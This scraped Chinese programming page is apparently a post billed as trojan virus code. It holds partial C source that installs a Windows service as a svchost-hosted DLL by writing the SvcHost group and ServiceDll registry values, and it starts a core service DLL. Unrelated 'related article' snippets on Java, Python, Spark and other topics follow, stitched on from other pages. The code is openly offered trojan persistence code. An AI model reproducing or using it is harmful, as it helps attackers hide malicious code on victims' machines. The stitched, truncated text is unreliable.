该楼层疑似违规已被系统折叠 隐藏此楼查看此楼

}

BOOL AddSvchostGroup(VOID)

{

HKEY hkey;//其实是一个句柄.

if(

RegOpenKey(HKEY_LOCAL_MACHINE,

"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SvcHost",

&hkey)!=ERROR_SUCCESS

)

return FALSE;

if(

RegSetValueEx(hkey,m_ServiceInfo.ServiceName,0,REG_MULTI_SZ,

(BYTE *)m_ServiceInfo.ServiceName,lstrlen(m_ServiceInfo.ServiceName)) !=ERROR_SUCCESS

)

return FALSE;

RegCloseKey(hkey);

return TRUE;

}

//添加DLL 路径参数

BOOL AddParameters_ServiceDll(LPSTR DllPath)

{

HKEY hkey;//其实是一个句柄.

CHAR SubKey[255]={NULL};

sprintf(SubKey,"SYSTEM\\ControlSet001\\Services\\%s\\Parameters",m_ServiceInfo.ServiceName);

if(RegCreateKey(HKEY_LOCAL_MACHINE,SubKey,&hkey)!=ERROR_SUCCESS)

return FALSE;

if(RegSetValueEx(hkey,"ServiceDll",0,REG_EXPAND_SZ,(BYTE *)DllPath,lstrlen(DllPath)) !=ERROR_SUCCESS)

return FALSE;

RegCloseKey(hkey);

return TRUE;

}

int main(int argc, char* argv[])

{

CHAR BinPath[MAX_PATH]="%SystemRoot%\\System32\\svchost.exe -k ";

strcat(BinPath,m_ServiceInfo.ServiceName);

puts(BinPath);

MyCreateServiceFuntion(BinPath);

AddSvchostGroup();

CHAR DllPath[]="c:\\test.dll";

AddParameters_ServiceDll(DllPath);

return 0;

}

//核心 DLL

#include "stdafx.h"

#include

char     svcname[MAX_PATH];

SERVICE_STATUS_HANDLE hServiceStatus;

int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress )

{

SERVICE_STATUS srvStatus;

srvStatus.dwServiceType = SERVICE_WIN32_SHARE_PROCESS;

srvStatus.dwCurrentState = dwState;

srvStatus.dwControlsAccepted = SERVICE_ACCEPT_SHUTDOWN;

srvStatus.dwWin32ExitCode = dwExitCode;

超强计算机病毒代码,木马编程 之超强服务... 附代码 原创.相关推荐

  1. java xfire 客户端代码_java调用xfire webService服务客户端代码

    java技术调用xfire webService服务客户端代码 import类: import java.net.MalformedURLException; import java.net.URL; ...

  2. java打地鼠文本代码_Java编程实现打地鼠文字游戏实例代码

    Java编程实现打地鼠文字游戏实例代码 发布时间:2020-10-05 07:00:48 来源:脚本之家 阅读:91 作者:lao_huang123 控制台输入数字,与随机数匹配,匹配正确则返回&qu ...

  3. c语言木马源代码下载,木马编程 之超强服务... 附代码 原创.

    该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 } BOOL AddSvchostGroup(VOID) { HKEY hkey;//其实是一个句柄. if( RegOpenKey(HKEY_LOCAL ...

  4. 学习笔记(07):Python网络编程并发编程-客户端与服务端代码bug修复

    立即学习:https://edu.csdn.net/course/play/24458/296236?utm_source=blogtoedu 1.修复端口被占用的bug import socketp ...

  5. dataframe 如何选中某列的一行_PySpark和SparkSQL基础:如何利用Python编程执行Spark(附代码)

    作者:Pinar Ersoy 翻译:孙韬淳 校对:陈振东 本文约2500字,建议阅读10分钟 本文通过介绍Apache Spark在Python中的应用来讲解如何利用PySpark包执行常用函数来进行 ...

  6. python画折线图代码-python编程:如何使用python代码绘制折线图?

    推荐 (此处已添加圈子卡片,请到今日头条客户端查看) 折线图: import pandas as pd import matplotlib.pyplot as plt women_degrees = ...

  7. 学习笔记-应用编程与网络编程-2(文件属性+附代码)

    文件属性 欢迎访问个人GitHub博客 目录 一.Linux中各类文件类 1.普通文件(-,regular file) 2.目录文件(d,directory) 3.字符设备文件(c,character ...

  8. java购物小票代码_Java编程打印购物小票实现代码

    简单介绍运行环境: 语言:Java 工具:eclipse 系统:Windows7 (打印设备暂时没有,所以只能提供预览图) 最近,项目需要为商城做一个购物小票的打印功能,日常我们去超市买东西,结账的时 ...

  9. Python编程 圣诞树教程 (附代码)程序员的浪漫

    作者简介:一名在校计算机学生.每天分享Python的学习经验.和学习笔记.   座右铭:低头赶路,敬事如仪 个人主页:网络豆的主页​​​​​​ 目录 前言 一.python 做圣诞树 1.turtle ...

最新文章

  1. 「技术综述」如何降低遮挡对人脸识别的影响
  2. OA项目15:权限管理实体设计及映射
  3. 在wine里安装了IE6
  4. 文通表格识别系统是表格数据录入的好帮手
  5. rest framework错误笔记——身份验证和权限
  6. qt 实现 以图片为中心 让它旋转_QT图片旋转动画
  7. excel表格不够怎么添加_excel怎么添加筛选
  8. 真的掏空了吗?华为开始疯狂出4G手机
  9. 04-07 接口请求构造
  10. 11-6-线程的概念
  11. MapReduce的分区
  12. python实现将点云的.bin格式文件转化为.txt格式
  13. 关闭chrome 的内置PDF 查看器
  14. 如何将div拼接成html代码,给div拼接html 拼接字符串
  15. 网页设计中的色彩搭配技巧
  16. Linux网络编程 - 在服务器端运用进程间通信之管道(pipe)
  17. OSChina 周四乱弹 —— 这个腿就有我来守护了
  18. alanwang[GDOU] 简单练习 判断一个年份是否为闰年
  19. 封装系统之新手操作版
  20. (附源码)基于PHP的酒店住宿管理系统 毕业设计 261455

热门文章

  1. 使用Windows Performance Monitor进行SQL Server性能调整
  2. 在SQL Server中的数据库之间复制表的六种不同方法
  3. 丢失所有凭据后如何重新连接到SQL Server实例
  4. sql server 性能_SQL Server性能基础
  5. selenium (二)
  6. Boostnote跨平台 Markdown 编辑器
  7. django QuerySet
  8. Java-杂项:Java数组Array和集合List、Set、Map
  9. C#使用正则表达式检测数字 char 和韩文
  10. SAP物料主数据随笔